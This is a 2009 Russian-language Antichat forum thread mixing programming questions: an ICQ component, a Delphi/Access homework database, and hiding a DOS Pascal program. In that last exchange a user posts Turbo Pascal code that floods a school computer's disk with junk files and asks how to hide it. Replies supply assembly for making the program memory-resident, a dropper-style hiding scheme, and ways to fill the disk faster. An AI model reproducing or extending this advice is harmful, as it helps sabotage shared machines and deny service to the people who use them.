ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

07.02.2009, 20:43
|
|
Познающий
Регистрация: 08.12.2007
Сообщений: 92
Провел на форуме: 1216941
Репутация:
35
|
|
ICQClient1 - помогите с етим компонентом, меня интересует как обрабативать входяшие сообшения, ну и все все про етот клиент) ну важнее обработка вхожяших сообшений)
Если можна дайте пример)
|
|
|

07.02.2009, 22:12
|
|
Познающий
Регистрация: 01.03.2008
Сообщений: 99
Провел на форуме: 613745
Репутация:
51
|
|
Вот архив со статьёй, рассматривается работа с TICQClient, хватит на первое время, так же вот форум, где обсуждают этот компонент, всё самое свежее там
Последний раз редактировалось lll6; 07.02.2009 в 22:14..
|
|
|

08.02.2009, 15:48
|
|
Познающий
Регистрация: 08.12.2008
Сообщений: 58
Провел на форуме: 153361
Репутация:
10
|
|
У меня такой вопрос, можно ли как то сделать так что бы программа запущенная в досе , написанная на паскале, не была видна в панеле задач?
|
|
|

08.02.2009, 17:48
|
|
Участник форума
Регистрация: 31.07.2008
Сообщений: 207
Провел на форуме: 299231
Репутация:
107
|
|
Если всмысле консольная, то забей. Все равно учитель информатики твой умнее тебя, а трояны на TP есть мастдай )
Можно юзать WinApi HideTaskbar и setOpacity, но это прокатит только во FreePascal
|
|
|

08.02.2009, 18:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Мысли сумасшедщего на эту тему:
Мысль первая: всю прожку замутить как резидент, чтобы даже после запуска из консоли небыло заметно что прожка висит.
Реализация первой мысли:
Ассемблерная вставка которая ставит обработчкий на таймер, а затем делает себя резидентной.
В обработчике таймера снять обработку и уже продолжить свою работу )
Резидентимся так:
Код:
mov ah,25h
mov al,1Ch
lea dx,MYFUNCTION
int 21h
lea dx,init ;
int 27h
Мысль вторая: В себе таскать маленькую прожку которая скроет тебя из таск бара.
При старте проги твоей она из себя сохраняет на винт вторую прожку и запускает её.
Далее вторая прожка прячет освновную )
Изврат, но всёже невозможностей не существует )
Последний раз редактировалось slesh; 08.02.2009 в 18:35..
|
|
|

08.02.2009, 22:29
|
|
Познающий
Регистрация: 08.12.2008
Сообщений: 58
Провел на форуме: 153361
Репутация:
10
|
|
Сообщение от slesh
Мысли сумасшедщего на эту тему:
Мысль первая: всю прожку замутить как резидент, чтобы даже после запуска из консоли небыло заметно что прожка висит.
Реализация первой мысли:
Ассемблерная вставка которая ставит обработчкий на таймер, а затем делает себя резидентной.
В обработчике таймера снять обработку и уже продолжить свою работу )
Резидентимся так:
Код:
mov ah,25h
mov al,1Ch
lea dx,MYFUNCTION
int 21h
lea dx,init ;
int 27h
Интересно , я так и думал что что то с помощью ассемблера надо, а куда это вставлять?Вот есть прога
Код:
uses crt;
var a:text;
i1,i2,i3,n:integer;
begin
for i1:=97 to 122 do
begin
for i2:=97 to 122 do
begin
for i3:=97 to 122 do
begin
assign(a,'c:\file'+chr(i1)+chr(i2)+chr(i3)+'.txt)
rewrite(a);
for n:=1 to 30000 do
begin
write(a,'----------------');
end;
close(a);
end;
end;
end;
end.
Строго не судите, просто делать было нечего, а в школе места на дисках по 5-10 гиг , так что забьёт быстро. И такой вопрос , можно их сдалеть скрытыми файлы? И пожалуйста разесни куда вставлять код ассемблера  2 вариант интересный, но боюсь моих знаний для его реализации не хватит 
|
|
|

09.02.2009, 01:31
|
|
Познающий
Регистрация: 18.07.2008
Сообщений: 64
Провел на форуме: 550210
Репутация:
37
|
|
Delphi + MS Access
Создать базу данных о сдаче студентами сессии. Основная таблица «деканат» должна содержать поля : код_фамидии, дисциплина, оценка, дата_сдачи.
Заполнить таблицу деканат достаточно для 5 студентов, а таблицу ведомости для 15 записей.
Создать форму, на которой предусмотреть интерфейс, позвол. Осуществлять след запросы:
1. список студентов, сдавших данную дисциплину;
2. Список групп, сдавших данную дисциплину данного числа;
3. список отличников
4. список отличников по данной дициплине.
помогите сделать, пожалуйста....
http://narod.ru/disk/5561250000/db1.rar.html - файлег с базой
|
|
|

09.02.2009, 02:30
|
|
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме: 4037638
Репутация:
1821
|
|
Сообщение от Djezul
Интересно , я так и думал что что то с помощью ассемблера надо, а куда это вставлять?Вот есть прога
Код:
uses crt;
var a:text;
i1,i2,i3,n:integer;
begin
for i1:=97 to 122 do
begin
for i2:=97 to 122 do
begin
for i3:=97 to 122 do
begin
assign(a,'c:\file'+chr(i1)+chr(i2)+chr(i3)+'.txt)
rewrite(a);
for n:=1 to 30000 do
begin
write(a,'----------------');
end;
close(a);
end;
end;
end;
end.
Строго не судите, просто делать было нечего, а в школе места на дисках по 5-10 гиг , так что забьёт быстро. И такой вопрос , можно их сдалеть скрытыми файлы? И пожалуйста разесни куда вставлять код ассемблера  2 вариант интересный, но боюсь моих знаний для его реализации не хватит 
а в школе места на дисках по 5-10 гиг , так что забьёт быстро.
Не думаю... юзай потоки.
|
|
|

09.02.2009, 03:00
|
|
Участник форума
Регистрация: 15.11.2006
Сообщений: 259
Провел на форуме: 2589211
Репутация:
151
|
|
Сообщение от Yanker
1. список студентов, сдавших данную дисциплину;
2. Список групп, сдавших данную дисциплину данного числа;
3. список отличников
4. список отличников по данной дициплине.
Тебе именно перекрёстный запрос нужен, или уже полученные данные можно обработать?
|
|
|

09.02.2009, 13:00
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
Сообщение от De-visible
Не думаю... юзай потоки.
однажды мне один человек, не особенно знакомый со всякими апишками и тп, расскзывал, что им на какой-то олимпиаде удавалось за 2 секунды выполнения программы записывать около гигабайта. вроде обычными write();
Я бы забивал как-нибудь типа юзая WriteFile с адресом буфера равным imagebase и указанием большого размера
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|